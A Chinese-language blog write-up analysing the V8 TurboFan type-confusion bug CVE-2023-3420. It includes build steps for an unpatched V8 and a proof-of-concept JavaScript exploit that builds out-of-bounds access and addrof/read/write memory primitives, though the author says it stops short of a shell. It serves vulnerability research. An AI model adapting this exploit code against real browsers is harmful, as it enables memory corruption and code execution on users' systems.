chrome v8漏洞CVE-2023-3420浅析
作者: coolboy
前言
CVE-2023-3420 是产生在v8 TurboFun模块的类型混淆漏洞。TurboFun模块对代码的优化:在优化代码中假定入参具有某种类型,比如int arr。优化代码将不再检查传入的参数是否确实为int arr,而直接按照int arr的类型对参数进行操作,从而大幅度提高运行效率。漏洞的产生原因是,有一种不应该存在的方法修改了入参了对象,且绕过了TurboFun的检查,导致优化代码没有被解优化,入参被修改为另外一种类型,比如double arr。而优化代码采用int arr的类型去访问double arr,造成了类型混淆。从而引发了漏洞。文章分析了漏洞成因、原理以及POC细节。这是一个系列文章,本文是第三篇。
POC
编译
# 国内的网络编译会失败,挂VPN也遇到了各种问题。
# 推荐腾讯云上购买新加坡服务器2core 2G 39元一个月,编译一路丝滑。
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=/path/to/depot_tools:$PATH
mkdir ~/v8
cd ~/v8
fetch v8
cd v8
# 漏洞补丁前一笔提交
git checkout 11.4.183.19
gclient sync
alias gm=~/v8/tools/dev/gm.py
gm x64.release
gm x64.debug
# test
./out/x64.release/d8 --help
POC
let length = 10000;
var padding = 40;
var arr = new Array(length);
arr.fill(0);
function func() {
return [1.9553825422107533e-246, 1.9560612558242147e-246, 1.9995714719542577e-246, 1.9533767332674093e-246, 2.6348604765229606e-284];
}
for (let i = 0; i < 5000; i++) func(0);
var view = new ArrayBuffer(24);
var dblArr = new Float64Array(view);
var intView = new Uint32Array(view);
var bigIntView = new BigInt64Array(view);
function ftoi32(f) {
dblArr[0] = f;
return [intView[0], intView[1]];
}
function i32tof(i1, i2) {
intView[0] = i1;
intView[1] = i2;
return dblArr[0];
}
function itof(i) {
bigIntView = BigInt(i);
return dblArr[0];
}
function ftoi(f) {
dblArr[0] = f;
return bigIntView[0];
}
var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];
var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';
function tc(x) {
var obj = x.p1.px;
obj.x = 100;
return x.p1.px.x;
}
function foo2(obj, proto, x,y) {
obj.obj = proto;
var z = 0;
for (let i = 0; i < 1; i++) {
for (let j = 0; j < x; j++) {
for (let k = 0; k < x; k++) {
z = y[k];
}
}
}
proto.b = 33;
return z;
}
class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;
function bar(x) {
return x instanceof B;
}
var args = {obj: B.prototype};
foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
foo2(args, B.prototype, 10, arr);
}
bar({a : 1});
for (let i = 0; i < 5000; i++) {
bar({b : 1});
}
console.log('========= pre');
%DebugPrint(B.prototype);
foo2(args, B.prototype, length, arr);
console.log('========= after');
%DebugPrint(B.prototype);
var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
tc(obj1);
}
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
tc(obj1);
var oobOffset = 4;
function addrof(obj) {
oobObjArr[0] = obj;
var addrDbl = corrupted_arr[oobOffset];
return ftoi32(addrDbl)[0];
}
function read(addr) {
var old_value = corrupted_arr[oobOffset];
corrupted_arr[oobOffset] = i32tof(addr,2);
var oldAddr = ftoi32(old_value);
var out = ftoi32(oobDblArr[0]);
corrupted_arr[oobOffset] = old_value;
return out;
}
function write(addr, val1, val2) {
var old_value = corrupted_arr[oobOffset];
corrupted_arr[oobOffset] = i32tof(addr,2);
oobDblArr[0] = i32tof(val1, val2);
corrupted_arr[oobOffset] = old_value;
return;
}
var funcAddr = addrof(func);
console.log("func address: " + funcAddr.toString(16));
./out/x64.release/d8 --allow-natives-syntax --trace-deopt 'poc.js' 将得到func函数地址,此POC不完整,不能拿到shell,需要发现新的堆风水布局才能完成漏洞利用,后面有详细解释。
func address: 11bc45
漏洞成因分析
背景1 TurboFan
Chrome v8 引擎中的jit编译器称为TurboFan。javascript将根据使用频率进行优化。当函数首次运行时,解释器(ignition)将会生成字节码。
当采用不同输入调用该函数时,turbofan会收集这些输入带来的反馈,比如它们的类型(int或者对象等)。当运行次数足够多以后,turbofan将采用这些反馈来做出假设优化函数,生成优化代码。之后的执行,将不再是字节码,而是执行优化后的代码。当函数的假设不再正确的时候,例如对象类型或者值发生变化,turbofan将对函数进行解优化,再次执行函数时将执行字节码,而非优化代码。
背景2 编译依赖
// test.js
var a = {x : 1};
function foo(obj) {
var y = obj.x;
return y;
}
%PrepareFunctionForOptimization(foo);
foo(a);
%OptimizeFunctionOnNextCall(foo);
foo(a);
//Invalidates the optimized code
a.x = 2;
使用下面命令执行test.js:
./out/x64.release/d8 --allow-natives-syntax --trace-deopt test.js
将得到结果:
[marking dependent code 0x1d2d0011af41 <Code TURBOFAN> (0x1d2d0011ab7d <SharedFunctionInfo foo>) (opt id 0) for deoptimization, reason: code dependencies]
PrepareFunctionForOptimization 和 OptimizeFunctionOnNextCall 为v8内置函数,作用是将foo进行优化。优化时,将假设foo的函数始终返回1。当a.x被赋值为2时,假设不再成立,于是触发解优化操作。--trace-deopt 命令行选项可以打印解优化的情况,如上所示。解优化之后,在调用foo,将执行字节码操作。
编译依赖在底层是通过CompilationDependency实现的,路径:v8/src/compiler/compilation-dependencies.cc,它有三个虚函数,分别为IsValid,PrepareInstall和Install,子类可以继承修改这三个函数。IsValid 方法会检查假设是否有效,同时install建立一种机制,当假设发生变化时触发解优化。
漏洞成因
CompilationDependency的子类PrototypePropertyDependency重写了PrepareInstall方法,如下:
void PrepareInstall(JSHeapBroker* broker) const override {
SLOW_DCHECK(IsValid(broker));
Handle<JSFunction> function = function_.object();
if (!function->has_initial_map()) JSFunction::EnsureHasInitialMap(function);
}
该方法调用了JSFunction::EnsureHasInitialMap函数,JSFunction::EnsureHasInitialMap会调用JSFunction::SetInitialMap函数。JSFunction::SetInitialMap函数如下:
void JSFunction::SetInitialMap(Isolate* isolate, Handle<JSFunction> function,
Handle<Map> map, Handle<HeapObject> prototype,
Handle<HeapObject> constructor) {
if (map->prototype() != *prototype) {
Map::SetPrototype(isolate, map, prototype);
}
DCHECK_IMPLIES(!constructor->IsJSFunction(), map->InSharedHeap());
map->SetConstructor(*constructor);
function->set_prototype_or_initial_map(*map, kReleaseStore);
if (v8_flags.log_maps) {
LOG(isolate, MapEvent("InitialMap", Handle<Map>(), map, "",
SharedFunctionInfo::DebugName(
isolate, handle(function->shared(), isolate))));
}
}
Map::SetPrototype(isolate, map, prototype); 这行代码将修改对象的类型,将"fast"对象修改为"dictionary"对象。综上,假如一个函数它的优化的假设依赖PrototypePropertyDependency,当PrototypePropertyDependency的PrepareInstall被调用时,该对象的类型将被改变,从"fast"修改为"dictionary"。而这个改变过程属于Turbofan优化编译本身,将无法触发解优化。从而实现了对象实际类型和优化代码里面的类型不一致,导致了类型混淆。
POC详解
class B {}
B.prototype.a = 2;
B.prototype.b = 1;
function foo2(obj, proto, x,y) {
obj.obj = proto;
var z = 0;
for (let i = 0; i < 1; i++) {
for (let j = 0; j < x; j++) {
for (let k = 0; k < x; k++) {
z = y[k];
}
}
}
proto.b = 33;
return z;
}
foo2(args, B.prototype, 20, arr);
for (let i = 0; i < 5000; i++) {
foo2(args, B.prototype, 10, arr);
}
这段代码将优化foo2,假设B.prototype类型为"fast"对象。
function bar(x) {
return x instanceof B;
}
for (let i = 0; i < 5000; i++) {
bar({b : 1});
}
foo2(args, B.prototype, length, arr);
执行这段代码将优化bar函数,而bar函数的优化将依赖于PrototypePropertyDependency。PrototypePropertyDependency对象的PreInstall的函数将被加入到任务列表里面,在合适的时机调用它。这个合适的时机是StackGuard节点。StackGuard节点会在for循环中产生。于是在优化bar之后,紧接着调用foo2。foo2中有一个比较长的for循环,里面有StackGuard节点。再回过头看foo2代码。
// foo2优化时机在bar之前,所以当调用foo2(args, B.prototype, length, arr);时,foo2已经优化,假设proto即B.prototype类型为"fast"对象。
function foo2(obj, proto, x,y) {
obj.obj = proto;
var z = 0;
// 此时B.prototype类型为"fast"对象
for (let i = 0; i < 1; i++) {
// 当执行for循环时,StackGuard节点被执行,它将调用bar优化依赖的PrototypePropertyDependency的PreInstall函数。而PreInstall函数将B.prototype类型从"fast"修改为"dictionary"
for (let j = 0; j < x; j++) {
for (let k = 0; k < x; k++) {
z = y[k];
}
}
}
// 此时B.prototype类型为"dictionary"对象
// foo2假设proto为"fast",实际为"dictionary"。proto.b将发生类型混淆,实际将dictionary的capacity修改为33
proto.b = 33;
return z;
}
console.log('========= pre');
%DebugPrint(B.prototype);
foo2(args, B.prototype, length, arr);
console.log('========= after');
%DebugPrint(B.prototype);
做个实验,在foo2调用前后用DebugPrint打印B.prototype信息,得到结果如下:
========= pre
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
- map: 0x1ae00011c979 <Map[12](HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
- elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1ae00018adb1 <PropertyArray[4]>
...
========= after
DebugPrint: 0x1ae000182765: [JS_OBJECT_TYPE]
- map: 0x1ae00011d349 <Map[12](HOLEY_ELEMENTS)> [DictionaryProperties]
- prototype: 0x1ae000104ab5 <Object map = 0x1ae0001040f1>
- elements: 0x1ae000000219 <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x1ae0001aa6f9 <NameDictionary[30]>
...
可以看到,确实调用foo2前为FastProperties,调用后为DictionaryProperties。它们的实现分别为PropertyArray和NameDictionary。内存结构如下图:
可见,当优化代码修改为"fast"的b属性时,实际修改的"dictionary"的capacity属性。"proto.b = 33" 将capacity属性修改33。33为2的5次方加上1。当capacity的值满足2的n次方加1的时候,对dictionary的访问,将总是访问最后一个对象。因此有了下面代码:
class B {}
B.prototype.a = 1;
B.prototype.a = 2;
B.prototype.b = 1;
var z = B.prototype;
var arr3 = new Array(padding);
arr3.fill(1);
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
dictionary的子项的存储是通过(key, value, attribute)三元组进行的。这是为什么obj1也长这样。至于为什么位于B之后,中间还有padding,是因为原本B只有a,b两个元素,长度被修改33之后,往后发生了越界,最后一个元素刚好位于obj1所在的内存。"Object.defineProperty"操作长度修改后的最后一个元素,变相修改了obj1。
var corrupted_arr = [1.1];
var corrupted = {a : corrupted_arr};
var obj0 = {px : {x : 1}};
var str0 = 'aaa';
function tc(x) {
var obj = x.p1.px;
obj.x = 100;
return x.p1.px.x;
}
var obj1 = {p0 : str0, p1 : obj0, p2 : 0};
for (let i = 0; i < 20000; i++) {
tc(obj1);
}
// 此时obj1.p1.px为 {x : 1}
Object.defineProperty(z, 'aaa', {value : corrupted, writable : true});
// 此时obj1.p1.px为 [1.1]。tc中仍然假设obj1为{x : 1}
tc(obj1);
{x : 1} 和 [1.1] 内存如下图:
类型混淆后在执行tc(obj1), obj.x=100,将修改数组长度,从1变为100,这将导致越界读写。
var oobObjArr = [view];
oobObjArr[0] = 1;
var oobDblArr = [2.2];
var corrupted_arr = [1.1];
var oobOffset = 4;
function addrof(obj) {
oobObjArr[0] = obj;
var addrDbl = corrupted_arr[oobOffset];
return ftoi32(addrDbl)[0];
}
var funcAddr = addrof(func);
这样的申明顺序,将oobDblArr和oobObjArr的数组内存安排在了corrupted_arr数组内存之后,可以实现越界读写。oobObjArr[0]赋值为对象,那么对象的内存地址,就可以由corrupted_arr这个double arr通过越界读出来,corrupted_arr[4]中存放的就是func的地址。到这里便实现了对象地址读。
如果将js 数组对象的element指针地址放置在corrupted_arr数组之后,通过越界读写,就可以改变js 数组指向的内存,通过修改之后的js 数组,便可以实现任意地址读写。参考chrome v8漏洞CVE-2021-30632浅析的POC。
当前漏洞,由于bar函数优化的原因,内存布局一直没能实现js 数组对象的element指针地址放置在corrupted_arr数组之后,而是在它之前,无法实现越界读写。去掉bar函数优化则可以实现上述堆风水。但去掉bar优化就无法触发漏洞,因此还需要找到另外一种堆风水来利用此漏洞。POC漏洞发现者提供的POC是阉割版,甚至无法复现对象地址读。留个坑,以后来填。
启发
这个漏洞是如何发现的呢?Fuzz? Code review?欢迎讨论。
参考
Getting RCE in Chrome with incorrect side effect in the JIT compiler